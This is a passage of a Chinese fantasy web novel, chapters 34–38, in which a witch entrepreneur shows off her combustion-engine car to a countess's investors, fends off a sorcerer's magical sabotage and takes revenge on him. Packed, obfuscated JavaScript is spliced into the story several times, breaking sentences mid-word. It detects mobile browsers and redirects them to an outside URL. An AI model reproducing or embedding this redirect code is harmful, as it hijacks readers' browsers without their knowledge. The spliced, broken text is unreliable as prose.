特蕾娅眼含笑意,艾莉西亚和她想到一起去了,她意有所指地说,“刚刚我已经和小安托瓦介绍过了,看起来,小安托瓦先生很心动呢。” 事实上,刚刚特蕾娅和小安托瓦的气氛一点也不好。 小安托瓦质问特蕾娅为何半途而废,当初他们已经谈好了投资计划,却突然没了下文,如果不是听到了从康奈尔教授这边传来的风声,他都不知道她们找了新的投资人。 特蕾娅是这样回答的,“事实上我们已经多次拜访过您,小安托瓦先生,但很显然,您对投资的事并不伤心,或者说,您更愿意用别的方式来洽谈这件事,——而这,却是我们无法接受的。我想您肯定有难处,听说您在沃华德的产业遭到了重创,我想这也许是您有难言之隐,不好向我们说实话呢,所以我只好主动寻求别的出路,这样您也不用为难。” 小安托瓦冰块一样的表情霎时变得很精彩。 艾莉西亚一回来,都不用特蕾娅提醒,就又拿投资说事,小安托瓦已经开始怀疑这两个女人难道知道他今天要来,故意商量好了来恶心人的? 他觉得被冒犯了,他沉着声音警告,“艾莉西亚,你知道巡夜者小队一直在高额悬赏超凡者线索吧?你不要高估我保守秘密的意愿。” 艾莉西亚眼神瞬间变了,她歪了歪头,轻声开口,声音甚至带着点柔美,“查普伊斯,你知道吗?人体是很脆弱的,不论是大脑、内脏、大动脉、又或者脊柱之类的,只需要一点小小的破坏,就会产生无法挽回的后果。” 那一瞬间,小安托瓦的浑身的汗毛都竖了起来。 艾莉西亚叹了口气,目光带着怜悯,“你看你这样,何必呢?” 34. 女巫的职业危机34 “你不喜欢我,我也不喜欢你,何必为难彼此呢。查普伊斯,老实说,我是很感谢你当初能投资我和特蕾娅的,虽然后来你也证明了那仅仅是出于利益,但就保持那样的利益关系不好吗?你这个样子,像不像你曾经鄙夷过的那些、堕落的人?” 这是艾莉西亚第一次呼唤小安托瓦的名字,而不是像以前那样,带着嘲弄和戏谑地喊他的姓氏。 但她的话,刺痛了小安托瓦。 他脸上闪过一丝狼狈,却仍不肯放弃,“人都会变的,过去的想法不代表未来,切斯特小姐,你并不知道发生了什么,请不要轻易定义一件事。你怎么知道,现在的我不是真心的呢?” 艾莉西亚烦得不行,她冷笑着,“那倒是。过去的你怎么会放下姿态向一个女人献媚呢?我劝你早点放弃,我可不是埃诺里,没她的爱好。” 说还,艾莉西亚不再理会他。 她不知道,在她说出那话之后,小安托瓦脸上的血色褪得干干净净。 那一刻,特蕾娅都有点可怜小安托瓦了。 她快速跟上艾莉西亚的脚步,“艾莉宝贝儿,你刚刚说的,都是真的?” 艾莉西亚奇怪的看她一眼,“哪部分?” “什么?” 艾莉西亚看了一眼小安托瓦,他已经朝着实验楼前面临时搭建的台子过去了,但还是小心地压低乐观声音,,“肯定有真有假啊,小安托瓦那家伙那么难缠,我当然得吓吓他。” “那就好。”特蕾娅松了一口气,但马上反应过来,“那些话就算了,刚刚索普开着蒸汽汽车冲过来的时候,你为什么不躲?那多危险啊!” 艾莉西亚,“我躲了车怎么办?现在还能重新把那一辆旧的运过来?别想了,时间上肯定不行的。我人站在那里,索普肯定不敢碾过来,那家伙已经被宠坏了,根本没胆子干这种事。但我要是怕了,我们的车就完了。你以为汉斯梅尔夫人还会给我们第二次机会吗?” 艾莉西亚的视线中,一辆敞篷马车行驶过来。 汉斯梅尔夫人举着一把蕾丝刺绣小阳伞,穿着华丽繁复的宫廷长裙,身姿款款地在一个绅士的搀扶下下车。 艾莉西亚赶紧来着特蕾娅过去。 对待这位象征着财富的女人,没有人态度不殷勤的,大家排着队和她问好。 轮到艾莉西亚和特蕾娅的时候,她热情地和两个姑娘拥抱了一下,然后和她们介绍身边的绅士,“谢尔夫先生,这是艾莉西亚和特蕾娅,姑娘们,这是葛利斯·谢尔夫先生,芙蕾阁下身边的小红人,今天你们能不能拿到投资,我说了不全算,还要争得这位绅士的同意才行哦。” 谢尔夫笑着说,“汉斯梅尔夫人真会说笑,今天可是您的主场,芙蕾阁下让只是让我跟着您多学学,我可不会越俎代庖。” 汉斯梅尔夫人只是笑,既不赞同,也不反对。 这两个人气氛不太对啊。 艾莉西亚和特蕾娅就像是什么都没看出来一样,但与谢尔夫打招呼的时候,就显得礼貌克制多了。 康奈尔教授笑着把人请到临时搭建的高台上,台子高度超过一米,视野相对开阔,汉斯梅尔夫人看着一大一小两辆不同动力的汽车摆出来,“那么,开始吧。” 康奈尔教授点头,他的一个学生做了个手势,便有人坐上蒸汽汽车的驾驶座,点火,启动,钢铁巨人一般的蒸汽汽车缓缓启动,然后花了四五分钟,速度升上去,蒸汽汽车绕着空旷的草地边缘行驶,很快来到实验楼前,滚滚浓烟从台子上经过,一群衣着光鲜的上等人被烟雾熏得咳嗽不止。 艾莉西亚和特蕾娅站在汉斯梅尔夫人身后,她们非常专业地没有笑出来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14019565|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 出师不利,康奈尔脸色有些不太好。 汉斯梅尔夫人用小阳伞挡着脸,情况稍微好一点,但她觉得自己的头发和衣服已经充斥着锅炉的味道,表情已经不能用不悦来形容了。 与她有同样情况的还有谢尔夫,他用丝绸手帕捂着口鼻,等车子开过去,才开口说,“从排放的废弃看,这个锅炉的动力很足,康奈尔教授,这台锅炉应该用了不少燃料吧?” 康奈尔教授立刻抓住机会,说,“按理说是这样的,但我们很幸运地从沃华德的‘皇家科学院’买到了最先进的蒸汽锅炉,这种锅炉完全燃烧能达到同体积锅炉的四倍马力,同时,与此同时,需要的燃料还不到原来的一半。” 谢尔夫夸赞道,“听起来很不多,对吧,汉斯梅尔夫人?” 汉斯梅尔夫人扫他一眼,“不着急,我们还没有看另外一辆呢。” 谢尔夫说,“是那辆小一点的吗?切斯特——小姐,对吗?请原谅我的冒昧,我实在没看出来那样的车子可以在什么地方放置锅炉。” 艾莉西亚说,“谢尔夫先生,是这样的,我们的车子并没有使用锅炉,我们的工坊做出了一款新的动力机,接下来就让我为您和汉斯梅尔夫人展示。” 谢尔夫皱起眉头,“新的动力机?” “是的。它不同于蒸汽机,这是一种全新的动力机械,最大的优点是体积小、马力大,并且需要的燃料存取都很方便。” 谢尔夫还要说什么,汉斯梅尔夫人打断他,“那可真让人期待,葛利斯,你就多一点耐心,有问题我们可以的等展示完了再说,好吗?” 汉斯梅尔夫人已经把话说到这里,谢尔夫只好露出个假笑,“那么,期待的你的表演,切斯特小姐。” 艾莉西亚从他的眼神里看出了不怀好意。 她心里一沉。 35. 女巫的职业危机35 艾莉西亚在车头打燃火,内燃机发出轰鸣声,整个车子都震动起来,但轮胎并没有动,她从容地坐上驾驶座,栓好安全带,踩下一个踏板,让传动杆与内燃机的飞轮齿轮咬合,车子便慢慢地跑起来。 这个设计多亏了奥古斯塔工程师,经过他的改良,艾莉西亚才不至于在展示的时候还需要个人专门帮忙点火。 车子的速度慢慢上升,艾莉西亚沿着刚刚的蒸汽汽车跑过的路线平稳行驶着。她余光瞄到往这边远眺的汉斯梅尔夫人,汉斯梅尔夫人脸上露出满意的笑容,转脸和谢尔夫说了什么。 谢尔夫只动了动嘴唇,汉斯梅尔夫人把头转了回去,嘴角撇着,显然,刚刚谢尔夫说了让她不高兴的话。 就在艾丽西亚要收回注意力的时候,突然看到谢尔夫朝她看过来,艾莉西亚心里的警报已经拉到了一个很高的位置。 她保持着极高警惕心操控着车子,灵活地避让着设置在路面上的各种障碍物和可能陷进去的坑洞。这个过程她表现得沉稳而流畅,车子在她的手里操控着,是完全不同于那个笨重庞大的蒸汽汽车完全不一样的灵敏风格。 特蕾娅坐在汉斯梅尔夫人旁边,专业而不失风趣地向汉斯梅尔夫人介绍着车子的性能优势,汉斯梅尔夫人举着望远镜,看得很欣慰。 谢尔夫听着特蕾娅的介绍,一只手托着下巴,说,“这毕竟是新技术,不知道在安全和持久性方面如何。” 特蕾娅信心满满地回答,“谢尔夫先生您尽管放心,我们的内燃机经历过长时测试,一台新出产的内燃机至少能持续平稳地工作10个小时。” “10小时啊,”谢尔夫露出了意义不明的笑容,他问康奈尔教授,“教授,您的锅炉可以持续工作多长时间呢?” 康奈尔教授自豪地说,“只要燃料充足,没有时间限制。” 汉斯梅尔夫人皱了皱眉,刚想说什么,谢尔夫却撇开了这个话题,“看,切斯特小姐过来了。” 此时,艾莉西亚已经走设置了路障的路段,平稳地向这边过来。 远远地看到谢尔夫那个眼神之后,艾莉西亚的心一直提着,但她顺利地走过了最难的路段,来到搭建的台子面前,这就让人很费解了。 不过她仍然保持着警惕,眨眼的功夫,她就看到谢尔夫手里多了点什么。 那是一根用象牙雕成的长条形物体,两端镶嵌着光滑璀璨的宝石。 谢尔夫修长的手指把玩着象牙,手指灵活而敏捷,像在操控一个好玩的玩具。 那家伙竟然是个术士! 还不等艾莉西亚细想,车子突然不受控地向台子撞过去,她心里有种总算来了的踏实感,这时候反而没有那么紧张了,只用力转动方向盘,然而她转了个空——谢尔夫隔空弄断了她的方向盘。 这狗东西! 这不是什么大问题,艾莉西亚体内魔力瞬间释放,魔力沿着方向盘向下延伸,一秒之后,方向盘与转向杆断裂的地方修补完成,她握住方向盘往右一转,偏离轨道的车头立刻回到正轨,车子飞快地行驶着,很快就远离了谢尔夫等人。 就只是这样? 没了? 这完全没给她造成困扰。 又或许,是那家伙没料到她是个女巫,所以才会用这样无关痛痒的办法? 艾莉西亚心里疑窦丛生,突然,她发现一股强大的力量入侵,直奔发动机的燃烧室。艾莉西亚不敢再分心,立刻释放魔力,将车身全包裹起来,特别是燃烧室的位置,全力以赴地抵御那股入侵的力量。 燃烧室被魔力包裹起来,谢尔夫遗憾地放弃了,他尝试着寻找别的破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14028378|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绽,但很遗憾地是,艾莉西亚魔力强大而持久,他无法真正给她带来麻烦。 不过,谢尔夫勾唇笑起来,没有破绽才是最大的破绽,他看到了艾莉西亚额头密密麻麻的汗水,这说明这样的魔力消耗对她的负担很大,而谢尔夫却还游刃有余。 要知道,破坏一个鸡蛋壳一样的保护罩,不需要用更大的能量把鸡蛋压碎,只需要击中力量往一个地方钻孔,这样,保护罩就会碎了。 距离终点还有几十米的距离,她发现谢尔夫在对车子的传动杆下手,艾莉西亚必须要很努力才能在维持整个保护罩的情况下,抵御他对那一点的入侵。 时间一分一秒的过去,艾莉西亚的心脏剧烈跳动着,她体内的魔力像水一样迅速流失,然而几近干涸的魔核传来阵阵痛楚,她咬着牙,等待抵达终点的那一刻。 快一点。 再快一点。 这时候艾莉西亚有点后悔为什么不将内燃机的速率上限再提高一点了。 二十米。 十五米。 十二米。 十米。 …… 好痛。 脖子后面的魔核在发出剧烈的疼痛,像灵魂的惨叫。 九米。 八米。 …… 快了。 马上就可以停下来了。 艾莉西亚的视线已经开始模糊,快到极限了。 怎么办? 如果车子这时候发生状况,这段时间的努力不说毁于一旦,却也很难再有这么好的机会了。 还有多远? 五米吗? 要放弃吗? 艾莉西亚脑子抽痛着,突然,压力骤然消失了。 远处传来汉斯梅尔夫人的尖叫声,出什么事了? 36. 女巫的职业危机36 出什么事了? 艾莉西亚像是从水里捞出来一样,浑身都被汗水湿透了。 压力骤然消失,始终记得自己的任务,把车开到预定的终点后熄火踩刹车,稳稳当当地停好,再往身上甩了个速干的咒语,这才扶着椅背,慢慢从车上下来。 艾莉西亚的脑子还有一点晕眩,不过这已经没什么妨碍了。 她思考着那个葛利斯·谢尔夫的身份,他是芙蕾·阿斯蒙德身边的人,那么他术士的身份是公开的吗?这一点毫无疑问,当那个崽种把象牙做的法杖拿出来的时候,就已经名牌了。 问题是,他把超常规的力量用到商业上,这是被允许的吗? 卡斯塔尼亚城的政治环境很特殊,领主阿斯蒙德伯爵是个很讨厌破坏规矩的人,他要求领地内的超凡者要向官方登记身份,缴纳重税,并且严禁使用超凡力量干预普通人的生活——这一点肯定没办法实施到位,所以他有偿地鼓励领地内的公民举报身边的超凡者,特别是那些使用超凡能力为自己牟利的家伙。 曾经有人雇佣超凡者在生意上作假,把一栋最初标价为3000费尔的豪宅卖到5000费尔,买家浑浑噩噩签了字,回过神来越想越觉得不对,就去巡夜者小队把人告了。巡夜者没怎么费劲就把人抓到了,卖家被判入狱三年,双倍返还诈骗的资金;背后帮忙的超凡者被直接处死,尸体在城市最高的钟楼上挂了整整一个月。 至此以后,超凡者的活动就越来越隐蔽。 像谢尔夫今天这样的做法,他到底是背后有人不怕被追究责任,还是觉得在赌今天来的人都没有超凡者,所以他做事毫无顾忌? 艾莉西亚心里拿不准,但这不代表她今天就要把这个闷亏给咽下去。 艾莉西亚瞄了一眼台子上的情况,康奈尔教授在向谢尔夫说着什么,他弓着背,时不时扶一把腰,像是忍着痛在想谢尔夫道歉。康奈尔脚下是一把坏掉了的椅子。 谢尔夫身上被泼了茶水,他那身高档羊绒面料的正装已经毁了,贴身仆人拿着帕子在帮他擦身上的茶渍,他的表情很臭。刚刚尖叫过的汉斯梅尔夫人拿着把扇子远远地看着,时不时劝一两句,谢尔夫低着头,看不清表情。 艾莉西亚缓了一会儿,动了动面部肌肉,从车子后备箱拎出个五升大小的铁通,朝着台子走过去。 她到的时候,事情差不多已经到了尾声,康奈尔教授在劝说汉斯梅尔夫人和谢尔夫这两个代表芙蕾·阿斯蒙德的大人物去吃下午茶,好把投资的事确定下来。 然而汉斯梅尔夫人露出抱歉的笑容,“教授,感谢您的盛情邀请,不过接下来我还需要向芙蕾阁下复明,就不留下来了。或许您可以和谢尔夫先生好好聊聊?” 谢尔夫阴恻恻地看了艾莉西亚一眼,从牙缝里挤出几个单词,“不用,我也没时间。” 康奈尔教授心都要凉了。 他心有不甘,今天的展示是他提出来的,事情是他筹备的,地方是他提供的,他为了拿到这笔投资花费的金钱和精力难以计数,如果就这么把人放走。 艾莉西亚的车子跑起来他就知道问题大了,而汉斯梅尔夫人对哪一款更加满意简直就是写在脸上。 康奈尔忙前忙后这么久,被一个外来的女人抢走了投资,他心里已经要吐血,必然是不肯放弃的,“当然,不过我想知道,我们什么时候可以和律师去伯爵府商议合同呢?您知道,我们已经为量产这款车型做好准备。” 汉斯梅尔夫人没说话,她看向谢尔夫,想让谢尔夫解决。 但谢尔夫以为艾莉西亚是个普通人,没想到对方竟然是女巫,他非但没得到想要的结果,心情十分不好,他说,“夫人,您知道伯爵一直对运输有很高的需求,黑森林路途崎岖,需求又大,只有康奈尔教授这样成熟的厂家才能满足,您觉得呢?” 汉斯梅尔心里冷笑,这些家伙还不肯死心。 她看了一眼一直游离于众人之外的小安托瓦,不想用,他一向是个秃鹫一样的家伙,一旦康奈尔拿到订单,小安托瓦的进出口贸易公司就会成为最大赢家——而他们在动力机械方面,仍然会受制于沃华德。 上一次购买蒸汽列车锅炉的时候,就已经尝到了厉害。 “小安托瓦先生,您觉得哪一款车更有前途呢?” 小安托瓦看了一眼艾莉西亚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14049817|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她拎着个铁桶站在那里,轻轻挑起眉,却一点也没有担心的样子,面色除了苍白一点,丝毫不像经历过一场异常凶险的魔法斗争。 “这很难说,夫人,如果您要选一款适宜出行的车,那么切斯特小姐的产品一定是首选;但伯爵的运输需求,这就只有康奈尔教授的产品能满足了。” 汉斯梅尔夫人转手就把难题丢给了艾莉西亚,“艾莉西亚,你觉得呢?” 艾莉西亚自信一笑,“这有什么难的?我的内燃机车可不仅仅只能载人,几位绅士没有来我的工坊,不知道我们正在测试的内燃机机型,马力完全不输给康奈尔教授的蒸汽汽车,并且,我敢说,康奈尔教授的蒸汽汽车需要的燃料费用远超我的内燃机车,您看——” 艾莉西亚打开密封的铁罐,一股刺鼻的味道立刻冲了出来,大家纷纷以手掩鼻。 “这是我们使用的液体燃料,它的质量轻,热效率高,同样的储存空间,它可以跑得更远——这才是更适合长途运输的车型,对吧,谢尔夫先生?” 相对于艾莉西亚的锋芒比率,康奈尔教授的态度就很温和了,他看艾莉西亚的目光始终很包容,像看着一个叛逆的晚辈,“艾莉西亚说的燃料固然有优势,但别忘了,我们还有煤精,要比较同样储存单位的燃料哪一个燃烧的时间更久、提供的能量更足,还有什么比煤精更有优势呢?” 煤精是煤矿的伴生矿,它比煤矿石坚硬,内部储存的能量也更高。经过特殊的魔法处理之后,可以直接当成燃料燃烧。 艾莉西亚以退为进,她盖上铁桶的盖子,“您说到这个我就没办法了,毕竟像我们这样的初创公司,的确没有您财大气粗。” 果然,这话让汉斯梅尔夫人做了决定。 “康奈尔,我想你应该知道,我们预算有限,每一个铜比索都要花得很值得,很显然,煤精不是我们的投资能负担得起的奢侈品。希望你能明白。 “好了,姑娘们,把你们的车和燃料装好,我们需现在去伯爵府。” 汉斯梅尔夫人完全没有给康奈尔留余地,“那么,绅士们,我先走一步。” 艾莉西亚和特蕾娅立刻跟上。 37. 女巫的职业危机37 不过艾莉西亚没那么容易脱身,她才走了两步,就被谢尔夫叫住。 汉斯梅尔夫人也看到了,但她选择旁观——她可以投资,投资外的事情,她可不会多管,艾莉西亚可能会帮她赚钱,但谢尔夫可是她的同事,汉斯梅尔夫人可不会在回报还没到手的情况下得罪一个备受老板宠爱的同事。 特蕾娅担心地看向艾莉西亚,想要一起留下,被艾莉西亚制止了,她让特蕾娅和汉斯梅尔夫人一起离开。 现在的情况,谁都看得出来汉斯梅尔不想得罪谢尔夫,要丢个出气筒给他,艾莉西亚刚好撞枪口上而已。 老实说,艾莉西亚心里也憋着气没有发泄出来,谁撞谁的枪口上或未可知。 “谢尔夫先生?”艾莉西亚脸上带着笑,眼里带着挑衅。 葛利斯·谢尔夫把康奈尔甩给小安托瓦,今天没能达到目的,栽在一个女巫手里,谢尔夫心情很不好,一点也不想敷衍那个老东西。 而艾丽西亚的挑衅更让他怒火中烧,“干得不错,女巫,巴尔纳知道你的身份吗?我想他是不知道的,如果他知道,你早就破产了。” 艾莉西亚毫不示弱,“比起抓一个遵纪守法的女巫,我想,巴尔纳更愿意把违反伯爵禁令的超凡者尸体挂在钟楼上,不是吗?” “该死的女巫,你威胁我?”谢尔夫暴跳如雷,青筋毕露,“你给我等着!” 艾莉西亚笑着,笑容里毫无温度,“我等着?还需要我等着,在这之前,你已经动过一次手,对吧?那两个纵火的家伙现在应该在巴尔纳的监狱里了,谢尔夫先生,你可以猜猜,巴尔纳什么时候能找到中间人赫伯特?” “赫伯特?谁?”谢尔夫十分不屑,“我要杀你不需要别人动手,像你这样的女巫,我不知道处决过多少!” 艾莉西亚目光沉凝,不是他? 从利益链来分析,路易莎就和康奈尔这两拨人嫌疑最大。谢尔夫明显是支持康奈尔的,当众使用超凡力量炸掉艾莉西亚的车,这毕竟违法伯爵的禁令,一旦被发现,即使有芙蕾·阿斯蒙德的庇护,后果也很难预料,所以艾莉西亚推测他可能为了保险提前做准备。 毕竟这个人足够心黑。 可从谢尔夫嚣张的表现看来,这家伙既然说不是,那大概率就不会是他。 现在排除了谢尔夫,如果是康奈尔教授这边的人干的,艾莉西亚认为索普的可能性最大。也许可以给巴尔纳帮帮忙,提醒一下,这也是一个公民的义务,不是吗? 不过,刚刚谢尔夫说什么来着? 艾莉西亚眼里闪过一丝兴奋,“谢尔夫,你是沃华德的人,对吧?全大陆只有沃华德的刽子手会处决无辜的女巫,你来自那里!” 艾莉西亚的话题转得太快,谢尔夫脑子还没反应过来,表情就有了反馈——他心虚了。谢尔夫意识到自己让艾莉西亚抓到了把柄,他立刻就想否认。 不等谢尔夫否认,艾莉西亚抢先说,“听着,我没想跟你过不去,谢尔夫,我就是想做生意而已,如果你不想被汉斯梅尔知道你来自沃华德,你最好老实点,不要再给我捣乱,听明白了吗?当然,你差点害死我的事我也不会向巴尔纳举报。” “不举报是怕暴露你女巫的身份吧。”谢尔夫冷笑这说。 “你也可以这样安慰自己。” 艾莉西亚只盯着他,谢尔夫深吸一口气,他太低估这个女巫了,整个谈话节奏全掌控在艾丽西亚手里,他完全被她压着打。 “别让我抓住你的把柄。”最终,谢尔夫只能丢下这句话,怒气冲冲地上了自己的马车。 艾莉西亚看着远去的马车,甩了甩手,几滴淡黄色的液体燃料落到地上,艾莉西亚心情很好地走向自己的马车,她还是没走成,被康奈尔拦了下来。 小安托瓦站在不远处,没有过来。 康奈尔眉头深深地皱着,脸上有承担过多压力的疲惫。 “艾莉西亚,我们聊聊。”康奈尔说。 艾莉西亚态度冷淡,“我不觉得我们有什么可聊的。” “孩子,不要轻率地拒绝一个过来人的示好,听我说,我们之间有许多误会,今天你已经得到了足够多的好处,是时候消除那些不必要的误会了。” “不,我们没有误会,康奈尔教授,你想太多了。” 康奈尔笑容愈发疲惫,“艾莉西亚,看在光明神的份上,看在我过去为你入学斯图亚特说过话的份上,看在我为你学习机械设计提供过帮助的份上,你至少听听我的请求。” 艾莉西亚语气缓慢而郑重,“我知道一句话,‘命运的馈赠总会在暗中标好价格’,而康奈尔教授为我提供那一点点帮助、说的几句没有任何效果的话的价格是,我心甘情愿地成为你们康奈尔家族茁壮成长的花泥——老实说,如果有这样的可能,我希望从没有认识你。你亲手毁掉了我对一位正直高尚的学者的信仰。” 康奈尔哑然,他觉得嗓子很干,很涩,他吞了吞口水,良久,他的嘴角强行扯出弧度,“是我的错,我不知道索普他对你有那样的想法——” “不,你知道的,康奈尔教授,就像你默许他偷窃你学生的研究成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14057313|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果一样,你也默许了索普对我做的一切,如果不是小安托瓦先生还有一点良心,哦,对了,你与其在我这里浪费时间,不如找小安托瓦先生拿投资,他可是一位资金雄厚的大财主啊。” 康奈尔教授还要说什么,小安托瓦走了过来,“打扰一下,教授,我刚刚收到了几位投资人的回信,他们对你的蒸汽汽车很感兴趣,正在过来的路上,你需要时间准备了。” 艾莉西亚挑眉。 康奈尔教授深深地看一眼艾莉西亚,点点头,没再说什么,回去准备了。 艾莉西亚说,“我不会感谢你帮忙的。” “我知道,”小安托瓦绅士地要扶艾莉西亚上车,被艾莉西亚推开,他也不坚持,跟着艾莉西亚一起上车,坐好,“我知道你有能力解决,但有个人帮忙,感觉也不错,不是吗?” 艾莉西亚心说天下没有白吃的午餐,谁知道你现在帮忙事后要我付出什么代价? “那要看这个人是谁了?小安托瓦先生,你肯定不会是不求回报的慈善家。不过我和奇怪,刚刚在台上的时候,你为什么会打断谢尔夫施法?康奈尔成功拿到投资,才更符合你的利益,对吧?” 马车跑起来,哒哒的马蹄很有节奏感。 小安托瓦看着艾莉西亚,目光专注,“如果我说是为了追求你呢?” 艾莉西亚有点反胃,她扶着车座想找地方吐。 小安托瓦轻轻笑起来,声音很轻,很快又恢复成他平时冷冰冰的样子,快得像艾莉西亚的错觉一样。 他递过来一张手帕,“用这个吧,吐在车里清理起来很费钱。” 艾莉西亚翻了个白眼,不想说话。 “好吧,我承认,”小安托瓦说,“我是来确认康奈尔能拿到多少投资,而我又能从中分到多少利润——你知道的,我的贸易公司最近一定要精打细算才行。不过结果让人很失望,他输给你了,这意味着我赚钱的机会又少了。能帮上你我也很意外。” “哦,那还真是抱歉,我可没办法回报你的帮助。”艾莉西亚没什么诚意地说。 小安托瓦,“没关系,我接受你的道歉。” 艾莉西亚奇怪地看着他,“你真的是小查普伊斯·安托瓦那个精明又冷酷的家伙吗?这比我看到你向埃诺里献殷勤还要恐怖。” “我难道不能向你献殷勤吗?” 艾莉西亚深吸一口气,觉得身上的鸡皮疙瘩全冒起来了。她往旁边挪了挪,离他远点,“你——” 她才开口,就听到突然有人喊,“着火了!马车着火了!” 38. 女巫的职业危机38 艾莉西亚兴奋地吩咐马车夫,“快,我们去看热闹!” 她亲眼看到谢尔夫烧起来的样子,他既然能炸掉汽车而不顾别人的安危,那就不要怪别人对他下手了。 她是承诺了不会把他的事捅出去,可没有答应不自己报复。 艾莉西亚把汽化后的液体燃料附着在谢尔夫的衣服上,只需要一点火星子(这些上层男人很喜欢雪茄和烟斗,立刻就会“嘭”地一下,他整个人就会变成个火人,而他那辆高档丝绒内饰的豪华马车也会立刻烧起来。 艾莉西亚态度如此积极,小安托瓦垂眸一瞬,立刻想出缘由,他制止了艾莉西亚,“不,我们换一条路,从另一个门出去,不要出现着火的地方。” 艾莉西亚不满地瞪着他,小安托瓦说,“得罪他不是明智的选择。” “不,得罪我才不是明智的选择。”艾莉西亚坚持。 “艾莉西亚,”小安托瓦严肃地说,“有一条规则是这样的,你可以给你的对手予以打击,但不要当面羞辱——前者是展示实力,后者是结仇,”他声音放缓,听起来似乎变得柔和了一点,“你当初干脆利落地赎回零件厂的股份就做得很好,不浪费多余的时间和精力发泄在不必要的地方。” 如果是今天前,艾莉西亚会有无数个理由反驳小安托瓦。 但今天不行,虽然艾莉西亚嘴里说她不会感谢小安托瓦帮忙,但她的确欠下了人情。这一点无法否认。 况且,小安托瓦说得很有道理,的确,艾莉西亚收拾谢尔夫最主要的目的还是为了震慑,根据同态复仇原则,他差点害死艾莉西亚,那么艾莉西亚至少也应该给他教训,如果她只用语言威胁而不付出实际行动,她的威胁就会很苍白无力。 她可以用更理智的态度来对待这件事,当然,她去现场幸灾乐祸一下也没有错,只是不够谨慎。 艾莉西亚默认了小安托瓦的决定,不再强令车夫去现场。 小安托瓦眼底流露出淡淡的笑意,但没再说什么。 艾莉西亚失去了谈兴,两人一路沉默着到了伯爵府。 伯爵府最早兴建于三十多年前,那时候的卡斯塔尼亚城不过是个边境小城,阿斯蒙德伯爵随便圈了一块地在上面造房子,一开始只有一栋二层的小楼,后来才慢慢扩建,虽然现在的伯爵府早已经不是从前那个简陋的小楼,却也没有多豪奢,占地面积也不大,三十年来只翻修过两三次,规模和普通的富贵人家差不多,一栋主楼一栋配楼,前后两个花园,一片停放马车、安放马匹的空地,就差不多了。 这可能与阿斯蒙德家族人丁单薄有关系,但艾莉西亚觉得更大的可能性是因为伯爵要养兵,没钱花在这些门面功夫上。 艾莉西亚向门房的守卫表明来意,很快有穿着正装打着领结的侍者领着艾莉西亚进去,小安托瓦表示他在外面等着就好。 艾莉西亚心里悄悄松了一口气,如果小安托瓦想跟着一起进去,她还不知道该怎么拒绝。 侍者领着艾莉西亚到了一个面积不大的会客厅,特蕾娅已经在里面等着了,只有她一个人,汉斯梅尔夫人不在。 侍者说,“请两位小姐在此等候,芙蕾阁下要见两位小姐时会有人来传唤。” 有穿着黑裙的女仆来奉茶,艾莉西亚等她离开,低声问特蕾娅,“什么情况?” “不清楚,汉斯梅尔夫人让我等着就行。” 两人在这里等了一会儿,汉斯梅尔夫人的脚步声出现在门外,她还拿着她那把漂亮的羽毛扇,她热情地挽住艾莉西亚的手就往外走,“艾莉西亚,芙蕾阁下对你的发明很满意,她已经同意为你注资,并且是按照你们提出的份额,没有一点折扣。老实说,你们的运气真不错,我从没有见过芙蕾阁下这么爽快地同意如此大额的投资。你们跟我来,芙蕾阁下想要见见你们。” 汉斯梅尔夫人带着两人上二楼,在一个有着落地凸肚窗的书房内见到了那位传说中的女继承人——芙蕾·努涅斯托·阿斯蒙德女士。 这位女士看起来三十出头,皮肤白皙,脸上有少许雀斑,她穿着丝绸长裙,没有穿裙撑,长裙上装点有蕾丝,不多,两只袖子收口很窄,不同于市面上的繁复漂亮的宫廷女装,这条裙子的款式一看就是为了方便做事设计的。 艾莉西亚一进来,就被她的目光上上下下审视了一遍,她尽量表现得放松,即使汉斯梅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 